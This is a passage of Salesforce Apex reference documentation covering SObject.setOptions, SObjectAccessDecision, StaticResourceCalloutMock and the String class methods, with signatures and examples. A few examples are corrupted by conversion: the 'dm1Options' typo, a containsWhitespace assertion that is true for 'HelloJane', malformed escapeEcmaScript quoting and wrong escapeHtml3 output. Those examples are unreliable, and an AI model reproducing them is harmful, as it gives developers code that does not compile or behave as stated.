Each `recalculateFormulas` call counts against the SOQL query limits. See Execution Governors and Limits.

SEE ALSO:

- What Is a Cross-Object Formula?

**setOptions(DMLOptions)**

Sets the DMLOptions object for the SObject.

**Signature**

```java
public Void setOptions(database.DMLOptions DMLOptions)
```
Parameters

**DMLOptions**
Type: `Database.DMLOptions`

Return Value
Type: Void

Example

```java
Database.DMLOptions dmo = new Database.dm1Options();
dmo.assignmentRuleHeader.useDefaultRule = true;

Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);
```

**SObjectAccessDecision Class**

Contains the results of a call to the `Security.stripInaccessible` method and methods to retrieve those results.

**Namespace**

`System`

**IN THIS SECTION:**

SObjectAccessDecision Methods

**SObjectAccessDecision Methods**

The following are methods for `SObjectAccessDecision`.

**IN THIS SECTION:**

- `getModifiedIndexes()`
  Returns the indexes of sObjects that are modified by the `stripInaccessible` method.
- `getRecords()`
  Returns a list of new sObjects that are identical to the source records, except that they are stripped of fields that fail the field-level security check for the current user.
- `getRemovedFields()`
  Returns a map of sObject types to their corresponding inaccessible fields. The map key is a string representation of the sObject type. The map value is a set of strings, which denote the fields names that are inaccessible.

**getModifiedIndexes()**

Returns the indexes of sObjects that are modified by the `stripInaccessible` method.
Signature

```java
public Set<Integer> getModifiedIndexes()
```

Return Value

Type: `Set<Integer>`

A set of unsigned integers that represent the row indexes of the modified sObjects.

Example

In this example, the user doesn't have permission to update the `AnnualRevenue` field of an Account.

```java
List<Account> accounts = new List<Account>{
    new Account(Name='Account1', AnnualRevenue=1000),
    new Account(Name='Account2')
};

// Strip fields that are not updatable
SObjectAccessDecision decision = Security.stripInaccessible(
    AccessType.UPDATABLE,
    accounts);

// Print stripped records
for (SObject strippedAccount : decision.getRecords()) {
    System.debug(strippedAccount);
}

// Print modified indexes
System.debug(decision.getModifiedIndexes());
```

**getRecords()**

Returns a list of new sObjects that are identical to the source records, except that they are stripped of fields that fail the field-level security check for the current user.

Usage

The `stripInaccessible` method performs field-level access check for the source records in the context of the current user's operation. The `getRecords()` method returns the new records that contain only the fields that the current user has access to.

Signature

```java
public List<SObject> getRecords()
```

Return Value

Type: `List<SObject>`

Even if the result list contains only one sObject, the return type is still a list (of size one).
Example

In this example, the user doesn’t have permission to update the AnnualRevenue field of an Account.

```apex
List<Account> accounts = new List<Account>{
    new Account(Name='Account1', AnnualRevenue=1000),
    new Account(Name='Account2')
};

// Strip fields that are not updatable
SObjectAccessDecision decision = Security.stripInaccessible(
    AccessType.UPDATABLE,
    accounts);

// Print stripped records
for (SObject strippedAccount : decision.getRecords()) {
    System.debug(strippedAccount);
}
```

getRemovedFields()

Returns a map of sObject types to their corresponding inaccessible fields. The map key is a string representation of the sObject type. The map value is a set of strings, which denote the fields names that are inaccessible.

Signature

```apex
public Map<String,Set<String>> getRemovedFields()
```

Return Value

Type: `Map<String,Set<String>>`

Example

In this example, the user doesn’t have permission to update the AnnualRevenue field of an Account.

```apex
List<Account> accounts = new List<Account>{
    new Account(Name='Account1', AnnualRevenue=1000),
    new Account(Name='Account2')
};

// Strip fields that are not updatable
SObjectAccessDecision decision = Security.stripInaccessible(
    AccessType.UPDATABLE,
    accounts);

// Print stripped records
for (SObject strippedAccount : decision.getRecords()) {
    System.debug(strippedAccount);
}

// Print removed fields
System.debug(decision.getRemovedFields());
```
StaticResourceCalloutMock Class

Utility class used to specify a fake response for testing HTTP callouts.

Namespace

System

Usage

Use the methods in this class to set the response properties for testing HTTP callouts.

IN THIS SECTION:

StaticResourceCalloutMock Constructors

StaticResourceCalloutMock Methods

StaticResourceCalloutMock Constructors

The following are constructors for StaticResourceCalloutMock.

IN THIS SECTION:

StaticResourceCalloutMock()

Creates a new instance of the StaticResourceCalloutMock class.

Signature

public StaticResourceCalloutMock()  

StaticResourceCalloutMock Methods

The following are methods for StaticResourceCalloutMock. All are instance methods.

IN THIS SECTION:

setHeader(headerName, headerValue)

Sets the specified header name and value for the fake response.

setStaticResource(resourceName)

Sets the specified static resource, which contains the response body.

setStatus(httpStatus)

Sets the specified HTTP status for the response.

setStatusCode(httpStatusCode)

Sets the specified HTTP status for the response.
**setHeader(headerName, headerValue)**
Sets the specified header name and value for the fake response.

**Signature**

```java
public Void setHeader(String headerName, String headerValue)
```

**Parameters**

- **headerName**
  - Type: `String`
- **headerValue**
  - Type: `String`

**Return Value**

Type: `Void`

**setStaticResource(resourceName)**
Sets the specified static resource, which contains the response body.

**Signature**

```java
public Void setStaticResource(String resourceName)
```

**Parameters**

- **resourceName**
  - Type: `String`

**Return Value**

Type: `Void`

**setStatus(httpStatus)**
Sets the specified HTTP status for the response.

**Signature**

```java
public Void setStatus(String httpStatus)
```

**Parameters**

- **httpStatus**
  - Type: `String`
Return Value
Type: Void

`setStatusCode(httpStatusCode)`
Sets the specified HTTP status for the response.

Signature
`public Void setStatusCode(Integer httpStatusCode)`

Parameters
`httpStatusCode`
Type: `Integer`

Return Value
Type: Void

**String Class**
Contains methods for the String primitive data type.

**Namespace**
System

**Usage**
For more information on Strings, see Primitive Data Types on page 26.

**String Methods**
The following are methods for `String`.

IN THIS SECTION:
- `abbreviate(maxWidth)`
  Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than the specified length; otherwise, returns the original String without ellipses.
- `abbreviate(maxWidth, offset)`
  Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String has ellipses appended at the start and the end if characters have been removed at these locations.
- `capitalize()`
  Returns the current String with the first letter changed to title case.
center(size)
Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without added spaces.

center(size, paddingString)
Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without padding.

charAt(index)
Returns the value of the character at the specified index.

codePointAt(index)
Returns the Unicode code point value at the specified index.

codePointBefore(index)
Returns the Unicode code point value that occurs before the specified index.

codePointCount(beginIndex, endIndex)
Returns the number of Unicode code points within the specified text range.

compareTo(secondString)
Compares two strings lexicographically, based on the Unicode value of each character in the Strings.

contains(substring)
Returns true if and only if the String that called the method contains the specified sequence of characters in substring.

containsAny(inputString)
Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.

containsIgnoreCase(substring)
Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.

containsNone(inputString)
Returns true if the current String doesn’t contain any of the characters in the specified String; otherwise, returns false.

containsOnly(inputString)
Returns true if the current String contains characters only from the specified sequence of characters and not any other characters; otherwise, returns false.

containsWhitespace()
Returns true if the current String contains any white space characters; otherwise, returns false.

countMatches(substring)
Returns the number of times the specified substring occurs in the current String.

deleteWhitespace()
Returns a version of the current String with all white space characters removed.

difference(secondString)
Returns the difference between the current String and the specified String.

endsWith(suffix)
Returns true if the String that called the method ends with the specified suffix.

endsWithIgnoreCase(suffix)
Returns true if the current String ends with the specified suffix; otherwise, returns false.
equals(secondString)
Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.

equals(stringOrId)
Returns true if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use this method to compare a string to an object that represents a string or an ID.

equalsIgnoreCase(secondString)
Returns true if the secondString is not null and represents the same sequence of characters as the String that called the method, ignoring case.

escapeCsv()
Returns a String for a CSV column enclosed in double quotes, if required.

escapeEcmaScript()
Escapes the characters in the String using EcmaScript String rules.

escapeHtml3()
Escapes the characters in a String using HTML 3.0 entities.

escapeHtml4()
Escapes the characters in a String using HTML 4.0 entities.

escapeJava()
Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters, such as tab, backslash, and carriage return characters.

escapeSingleQuotes(stringToEscape)
Returns a String with the escape character (\) added before any single quotation marks in the String s.

escapeUnicode()
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.

escapeXml()
Escapes the characters in a String using XML entities.

format(stringToFormat, formattingArguments)
Treat the first argument as a pattern and return a string using the second argument for substitution and formatting. The substitution and formatting are the same as apex:outputText and the Java MessageFormat class. Non-string types in the second argument’s List are implicitly converted to strings, respecting the toString() method overrides that exist on the type.

fromCharArray(charArray)
Returns a String from the values of the list of integers.

getchars()
Returns an array of character values that represent the characters in this string.

getCommonPrefix(strings)
Returns the initial sequence of characters as a String that is common to all the specified Strings.

getLevenshteinDistance(stringToCompare)
Returns the Levenshtein distance between the current String and the specified String.

getLevenshteinDistance(stringToCompare, threshold)
Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold; otherwise, returns -1.
hashCode()
Returns a hash code value for this string.

indexOf(substring)
Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.

indexOf(substring, index)
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring does not occur, this method returns -1.

indexOfAny(substring)
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns -1.

indexOfAnyBut(substring)
Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.

indexOfChar(character)
Returns the index of the first occurrence of the character that corresponds to the specified character value.

indexOfChar(character, startIndex)
Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified index.

indexOfDifference(stringToCompare)
Returns the zero-based index of the character where the current String begins to differ from the specified String.

indexOfIgnoreCase(substring)
Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur, this method returns -1.

indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index i, without regard to case. If the substring does not occur, this method returns -1.

isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.

isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.

isAlpha()
Returns true if all characters in the current String are Unicode letters only; otherwise, returns false.

isAlphaSpace()
Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.

isAlphanumeric()
Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.

isAlphanumericSpace()
Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.

isAsciiPrintable()
Returns true if the current String contains only ASCII printable characters; otherwise, returns false.

isBlank(inputString)
Returns true if the specified String is white space, empty (''), or null; otherwise, returns false.
isEmpty(inputString)
Returns true if the specified String is empty ("") or null; otherwise, returns false.

isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (""), and not null; otherwise, returns false.

isNotEmpty(inputString)
Returns true if the specified String is not empty ("") and not null; otherwise, returns false.

isNumeric()
Returns true if the current String contains only Unicode digits; otherwise, returns false.

isNumericSpace()
Returns true if the current String contains only Unicode digits or spaces; otherwise, returns false.

isWhitespace()
Returns true if the current String contains only white space characters or is empty; otherwise, returns false.

join(iterableObj, separator)
Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.

lastIndexOf(substring)
Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.

lastIndexOf(substring, endPosition)
Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified index.

lastIndexOfChar(character)
Returns the index of the last occurrence of the character that corresponds to the specified character value.

lastIndexOfChar(character, endIndex)
Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified index.

lastIndexOfIgnoreCase(substring)
Returns the index of the last occurrence of the specified substring regardless of case.

lastIndexOfIgnoreCase(substring, endPosition)
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and ending at the specified index.

left(length)
Returns the leftmost characters of the current String of the specified length.

leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.

leftPad(length, padStr)
Returns the current String padded with String padStr on the left and of the specified length.

length()
Returns the number of 16-bit Unicode characters contained in the String.

mid(startIndex, length)
Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters specified by length.
normalizeSpace()
Returns the current String with leading, trailing, and repeating white space characters removed.

offsetByCodePoints(index, codePointOffset)
Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.

remove(substring)
Removes all occurrences of the specified substring and returns the String result.

removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.

removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.

removeStart(substring)
Removes the specified substring only if it occurs at the beginning of the String.

removeStartIgnoreCase(substring)
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.

repeat(numberOfTimes)
Returns the current String repeated the specified number of times.

repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.

replace(target, replacement)
Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence replacement.

replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement.

replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement.

reverse()
Returns a String with all the characters reversed.

right(length)
Returns the rightmost characters of the current String of the specified length.

rightPad(length)
Returns the current String padded with spaces on the right and of the specified length.

rightPad(length, padStr)
Returns the current String padded with String padStr on the right and of the specified length.

split(regExp)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the String.

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of the String.

splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.
splitByCharacterTypeCamelCase()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens, with the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the following character token rather than to the preceding.

startsWith(prefix)
Returns true if the String that called the method begins with the specified prefix.

startsWithIgnoreCase(prefix)
Returns true if the current String begins with the specified prefix regardless of the prefix case.

stripHtmlTags()
Removes HTML markup and returns plain text.

substring(startIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the end of the String.

substring(startIndex, endIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the character at endIndex - 1.

substringAfter(separator)
Returns the substring that occurs after the first occurrence of the specified separator.

substringAfterLast(separator)
Returns the substring that occurs after the last occurrence of the specified separator.

substringBefore(separator)
Returns the substring that occurs before the first occurrence of the specified separator.

substringBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.

substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.

substringBetween(open, close)
Returns the substring that occurs between the two specified Strings.

swapCase()
Swaps the case of all characters and returns the resulting String by using the default (English US) locale.

toLowerCase()
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.

toLowerCase(locale)
Converts all of the characters in the String to lowercase using the rules of the specified locale.

toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.

toUpperCase(locale)
Converts all of the characters in the String to uppercase using the rules of the specified locale.

trim()
Returns a copy of the string that no longer contains any leading or trailing white space characters.

uncapitalize()
Returns the current String with the first letter in lowercase.
unescapeCsv()
Returns a String representing an unescaped CSV column.

unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.

unescapeHtml3()
Unescapes the characters in a String using HTML 3.0 entities.

unescapeHtml4()
Unescapes the characters in a String using HTML 4.0 entities.

unescapeJava()
Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\") and control characters, such as tab (\t), and carriage return (\n).

unescapeUnicode()
Returns a String whose escaped Unicode characters are unescaped.

unescapeXml()
Unescapes the characters in a String using XML entities.

valueOf(dateToConvert)
Returns a String that represents the specified Date in the standard "yyyy-MM-dd" format.

valueOf(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard "yyyy-MM-dd HH:mm:ss" format for the local time zone.

valueOf(decimalToConvert)
Returns a String that represents the specified Decimal.

valueOf(doubleToConvert)
Returns a String that represents the specified Double.

valueOf(integerToConvert)
Returns a String that represents the specified Integer.

valueOf(longToConvert)
Returns a String that represents the specified Long.

valueOf(toConvert)
Returns a string representation of the specified object argument.

valueOfGmt(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard "yyyy-MM-dd HH:mm:ss" format for the GMT time zone.

**abbreviate(maxWidth)**

Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than the specified length; otherwise, returns the original String without ellipses.

**Signature**

```java
public String abbreviate(Integer maxWidth)
```
Parameters

$maxWidth$
Type: Integer

If $maxWidth$ is less than four, this method throws a run-time exception.

Return Value
Type: String

Example

```java
String s = 'Hello Maximillian';
String s2 = s.abbreviate(8);
System.assertEquals('Hello...', s2);
System.assertEquals(8, s2.length());
```

`abbreviate(maxWidth, offset)`

Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String has ellipses appended at the start and the end if characters have been removed at these locations.

Signature

```java
public String abbreviate(Integer maxWidth, Integer offset)
```

Parameters

$maxWidth$
Type: Integer

Note that the offset is not necessarily the leftmost character in the returned String or the first character following the ellipses, but it appears somewhere in the result. Regardless, `abbreviate` won’t return a String of length greater than $maxWidth$. If $maxWidth$ is too small, this method throws a run-time exception.

$offset$
Type: Integer

Return Value
Type: String

Example

```java
String s = 'Hello Maximillian';
// Start at M
String s2 = s.abbreviate(9, 6);
System.assertEquals('...Max...', s2);
System.assertEquals(9, s2.length());
```
**capitalize()**
Returns the current String with the first letter changed to title case.

Signature

```java
public String capitalize()
```

Return Value

Type: **String**

Usage

This method is based on the `Character.toTitleCase(char)` Java method.

Example

```java
String s = 'hello maximillian';
String s2 = s.capitalize();
System.assertEquals('Hello maximillian', s2);
```

**center(size)**

Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without added spaces.

Signature

```java
public String center(Integer size)
```

Parameters

- `size`
  Type: **Integer**

Return Value

Type: **String**

Example

```java
String s = 'hello';
String s2 = s.center(9);
System.assertEquals(' hello ', s2);
```
center(size, paddingString)

Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without padding.

Signature

public String center(Integer size, String paddingString)

Parameters

size
   Type: Integer

paddingString
   Type: String

Return Value

Type: String

Example

String s = 'hello';
String s2 = s.center(9, '-');
System.assertEquals('--hello--', s2);

charAt(index)

Returns the value of the character at the specified index.

Signature

public Integer charAt(Integer index)

Parameters

index
   Type: Integer
   The index of the character to get the value of.

Return Value

Type: Integer
   The integer value of the character.

Usage

The charAt method returns the value of the character pointed to by the specified index. If the index points to the beginning of a surrogate pair (the high-surrogate code point), this method returns only the high-surrogate code point. To return the supplementary code point corresponding to a surrogate pair, call codePointAt instead.
Example

This example gets the value of the first character at index 0.

```java
String str = 'Ω is Omega.';
System.assertEquals(937, str.charAt(0));
```

This example shows the difference between `charAt` and `codePointAt`. The example calls these methods on escaped supplementary Unicode characters. `charAt(0)` returns the high surrogate value, which corresponds to \uD835. `codePointAt(0)` returns the value for the entire surrogate pair.

```java
String str = '\uD835\uDD0A';
System.assertEquals(55349, str.charAt(0), 'charAt(0) didn\'t return the high surrogate. ');
System.assertEquals(120074, str.codePointAt(0), 'codePointAt(0) didn\'t return the entire two-character supplementary value. ');
```

codePointAt(index)

Returns the Unicode code point value at the specified index.

Signature

```java
public Integer codePointAt(Integer index)
```

Parameters

- `index`  
  Type: `Integer`  
  The index of the characters (Unicode code units) in the string. The index range is from zero to the string length minus one.

Return Value

- Type: `Integer`  
  The Unicode code point value at the specified index.

Usage

If the `index` points to the beginning of a surrogate pair (the high-surrogate code point), and the character value at the following index points to the low-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. Otherwise, this method returns the character value at the given index.

For more information on Unicode and surrogate pairs, see The Unicode Consortium.

Example

This example gets the code point value of the first character at index 0, which is the escaped Omega character. Also, the example gets the code point at index 20, which corresponds to the escaped supplementary Unicode characters (a pair of characters). Finally, it verifies that the escaped and unescaped forms of Omega have the same code point values.
The supplementary characters in this example (\uD835\uDD0A) correspond to mathematical fraktur capital G: 

```java
String str = '\u03A9 is Ω (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointAt(0));
System.assertEquals(120074, str.codePointAt(20));
// Escaped or unescaped forms of the same character have the same code point
System.assertEquals(str.codePointAt(0), str.codePointAt(5));
```

**codePointBefore(index)**

Returns the Unicode code point value that occurs before the specified index.

**Signature**

```java
public Integer codePointBefore(Integer index)
```

**Parameters**

- **index**
  - *Type: Integer*
  - The index before the Unicode code point that is to be returned. The index range is from one to the string length.

**Return Value**

- *Type: Integer*
  - The character or Unicode code point value that occurs before the specified index.

**Usage**

If the character value at `index-1` is the low-surrogate code point, and `index-2` is not negative and the character at this index location is the high-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. If the character value at `index-1` is an unpaired low-surrogate or high-surrogate code point, the surrogate value is returned.

For more information on Unicode and surrogate pairs, see The Unicode Consortium.

**Example**

This example gets the code point value of the first character (before index 1), which is the escaped Omega character. Also, the example gets the code point at index 20, which corresponds to the escaped supplementary characters (the two characters before index 22).

```java
String str = '\u03A9 is Ω (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointBefore(1));
System.assertEquals(120074, str.codePointBefore(22));
```

**codePointCount(beginIndex, endIndex)**

Returns the number of Unicode code points within the specified text range.
Signature

public Integer codePointCount(Integer beginIndex, Integer endIndex)

Parameters

beginIndex

Type: Integer

The index of the first character in the range.

d endIndex

Type: Integer

The index after the last character in the range.

Return Value

Type: Integer

The number of Unicode code points within the specified range.

Usage

The specified range begins at beginIndex and ends at endIndex – 1. Unpaired surrogates within the text range count as one code point each.

Example

This example writes the count of code points in a substring that contains an escaped Unicode character and another substring that contains Unicode supplementary characters, which count as one code point.

```java
String str = '\u03A9 and \uD835\uDD0A characters.';
System.debug('Count of code points for ' + str.substring(0,1) + ': ' + str.codePointCount(0,1));
System.debug('Count of code points for ' + str.substring(6,8) + ': ' + str.codePointCount(6,8));
```

// Output:
// Count of code points for Ω: 1
// Count of code points for : 1

**compareTo(secondString)**

Compares two strings lexicographically, based on the Unicode value of each character in the Strings.

Signature

public Integer compareTo(String secondString)

Parameters

secondString

Type: String
Return Value
Type: Integer

Usage
The result is:
- A negative Integer if the String that called the method lexicographically precedes `secondString`
- A positive Integer if the String that called the method lexicographically follows `compsecondStringString`
- Zero if the Strings are equal

If there is no index position at which the Strings differ, then the shorter String lexicographically precedes the longer String.

Note that this method returns 0 whenever the `equals` method returns true.

Example
```java
String myString1 = 'abcde';
String myString2 = 'abcd';
Integer result =
    myString1.compareTo(myString2);
System.assertEquals(result, 1);
```

contains(substring)
Returns true if and only if the String that called the method contains the specified sequence of characters in `substring`.

Signature
```java
public Boolean contains(String substring)
```

Parameters
```java
substring
    Type: String
```

Return Value
Type: Boolean

Example
```java
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result =
    myString1.contains(myString2);
System.assertEquals(result, true);
```

containsAny(inputString)
Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.
Signature

public Boolean containsAny(String inputString)

Parameters

inputString
Type: String

Return Value

Type: Boolean

Example

String s = 'hello';
Boolean b1 = s.containsAny('hx');
Boolean b2 = s.containsAny('x');
System.assertEquals(true, b1);
System.assertEquals(false, b2);

containsIgnoreCase(substring)

Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.

Signature

public Boolean containsIgnoreCase(String substring)

Parameters

substring
Type: String

Return Value

Type: Boolean

Example

String s = 'hello';
Boolean b = s.containsIgnoreCase('HE');
System.assertEquals(true, b);

containsNone(inputString)

Returns true if the current String doesn’t contain any of the characters in the specified String; otherwise, returns false.
public Boolean containsNone(String inputString)

Parameters

\textit{inputString} 
Type: \textit{String}

If \textit{inputString} is an empty string or the current String is empty, this method returns \texttt{true}. If \textit{inputString} is null, this method returns a run-time exception.

Return Value

Type: \texttt{Boolean}

Example

```java
String s1 = 'abcde';
System.assert(s1.containsNone('fg'));
```

\textbf{containsOnly(inputString)}

Returns \texttt{true} if the current String contains characters only from the specified sequence of characters and not any other characters; otherwise, returns \texttt{false}.

Signature

public Boolean containsOnly(String inputString)

Parameters

\textit{inputString} 
Type: \textit{String}

Return Value

Type: \texttt{Boolean}

Example

```java
String s1 = 'abba';
String s2 = 'abba xyz';
Boolean b1 = s1.containsOnly('abcd');
System.assertEquals(true, b1);
Boolean b2 = s2.containsOnly('abcd');
System.assertEquals(false, b2);
```
containsWhitespace()
Returns true if the current String contains any white space characters; otherwise, returns false.

Signature
public Boolean containsWhitespace()

Return Value
Type: Boolean

Example
String s = 'Hello Jane';
System.assert(s.containsWhitespace()); //true
s = 'HelloJane';
System.assert(s.containsWhitespace()); //true
s = 'HelloJane';
System.assert(s.containsWhitespace()); //true
s = 'HelloJane';
System.assert(!s.containsWhitespace()); //false

countMatches(substring)
Returns the number of times the specified substring occurs in the current String.

Signature
public Integer countMatches(String substring)

Parameters
substring
Type: String

Return Value
Type: Integer

Example
String s = 'Hello Jane';
System.assertEquals(1, s.countMatches('Hello'));
s = 'Hello Hello';
System.assertEquals(2, s.countMatches('Hello'));
s = 'Hello hello';
System.assertEquals(1, s.countMatches('Hello'));
**deleteWhitespace()**

Returns a version of the current String with all white space characters removed.

**Signature**

```
public String deleteWhitespace()
```

**Return Value**

Type: `String`

**Example**

```java
String s1 = ' Hello Jane ';  
String s2 = 'HelloJane';  
System.assertEquals(s2, s1.deleteWhitespace());
```

**difference(secondString)**

Returns the difference between the current String and the specified String.

**Signature**

```
public String difference(String secondString)
```

**Parameters**

`secondString`

Type: `String`

If `secondString` is an empty string, this method returns an empty string. If `secondString` is null, this method throws a run-time exception.

**Return Value**

Type: `String`

**Example**

```java
String s = 'Hello Jane';
String d1 =  
    s.difference('Hello Max');
System.assertEquals(  
    'Max',  
    d1);
String d2 =  
    s.difference('Goodbye');
System.assertEquals(  
    'Goodbye',  
    d2);
```
endsWith(suffix)

Returns true if the String that called the method ends with the specified suffix.

Signature

public Boolean endsWith(String suffix)

Parameters

suffix
Type: String

Return Value
Type: Boolean

Example

String s = 'Hello Jason';
System.assert(s.endsWith('Jason'));

endsWithIgnoreCase(suffix)

Returns true if the current String ends with the specified suffix; otherwise, returns false.

Signature

public Boolean endsWithIgnoreCase(String suffix)

Parameters

suffix
Type: String

Return Value
Type: Boolean

Example

String s = 'Hello Jason';
System.assert(s.endsWithIgnoreCase('jason'));

equals(secondString)

Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.
Signature

public Boolean equals(String secondString)

Parameters

secondString
Type: String

Return Value
Type: Boolean

Usage

This method returns true when the compareTo method returns 0.
Use this method to perform case-sensitive comparisons. In contrast, the == operator performs case-insensitive string comparisons to match Apex semantics.

Example

```java
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result = myString1.equals(myString2);
System.assertEquals(result, false);
```

equals(stringOrId)

Returns true if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use this method to compare a string to an object that represents a string or an ID.

Signature

public Boolean equals(Object stringOrId)

Parameters

stringOrId
Type: Object

Return Value
Type: Boolean

Usage

If you compare ID values, the lengths of IDs don't need to be equal. For example, if you compare a 15-character ID string to an object that represents the equivalent 18-character ID value, this method returns true. For more information about 15-character and 18-character IDs, see the ID data type.
Use this method to perform case-sensitive comparisons. In contrast, the `==` operator performs case-insensitive string comparisons to match Apex semantics.

Example
These examples show comparisons between different types of variables with both equal and unequal values. The examples also show how Apex automatically converts certain values before comparing them.

```
// Compare a string to an object containing a string
Object obj1 = 'abc';
String str = 'abc';
Boolean result1 = str.equals(obj1);
System.assertEquals(true, result1);

// Compare a string to an object containing a number
Integer obj2 = 100;
Boolean result2 = str.equals(obj2);
System.assertEquals(false, result2);

// Compare a string to an ID of the same length.
// 15-character ID
Id idValue15 = '001D000000Ju1zH';
// 15-character ID string value
String stringValue15 = '001D000000Ju1zH';
Boolean result3 = stringValue15.equals(IdValue15);
System.assertEquals(true, result3);

// Compare two equal ID values of different lengths:
// 15-character ID and 18-character ID
Id idValue18 = '001D000000Ju1zHIAR';
Boolean result4 = stringValue15.equals(IdValue18);
System.assertEquals(true, result4);
```

equalsIgnoreCase(secondString)

Returns `true` if the `secondString` is not null and represents the same sequence of characters as the `String` that called the method, ignoring case.

Signature
```
public Boolean equalsIgnoreCase(String secondString)
```

Parameters
```
secondString
Type: String
```

Return Value
```
Type: Boolean
```
Example

```java
String myString1 = 'abcd';
String myString2 = 'ABCD';
Boolean result =
    myString1.equalsIgnoreCase(myString2);
System.assertEquals(result, true);
```

**escapeCsv()**

Returns a String for a CSV column enclosed in double quotes, if required.

**Signature**

```java
public String escapeCsv()
```

**Return Value**

**Type:** String

**Usage**

If the String contains a comma, newline or double quote, the returned String is enclosed in double quotes. Also, any double quote characters in the String are escaped with another double quote.

If the String doesn’t contain a comma, newline or double quote, it is returned unchanged.

Example

```java
String s1 = 'Max1, "Max2"';
String s2 = s1.escapeCsv();
System.assertEquals('"Max1, "Max2""', s2);
```

**escapeEcmaScript()**

Escapes the characters in the String using EcmaScript String rules.

**Signature**

```java
public String escapeEcmaScript()
```

**Return Value**

**Type:** String

**Usage**

The only difference between Apex strings and EcmaScript strings is that in EcmaScript, a single quote and forward-slash (/) are escaped.
Example

```java
String s1 = '"grade": 3.9/4.0';
String s2 = s1.escapeEcmaScript();
System.debug(s2);
// Output is:
// "grade": 3.9/4.0
System.assertEquals(
    '"\"grade\": 3.9\/4.0",
    s2);
```

### escapeHtml3()

Escapes the characters in a String using HTML 3.0 entities.

**Signature**

```java
public String escapeHtml3()
```

**Return Value**

Type: String

**Example**

```java
String s1 = '"<Black&White>"';
String s2 = s1.escapeHtml3();
System.debug(s2);
// Output:
// "&quot;&lt;Black&amp;White;&quot;
```

### escapeHtml4()

Escapes the characters in a String using HTML 4.0 entities.

**Signature**

```java
public String escapeHtml4()
```

**Return Value**

Type: String

**Example**

```java
String s1 = '"<Black&White>"';
String s2 = s1.escapeHtml4();
```
escapeJava()

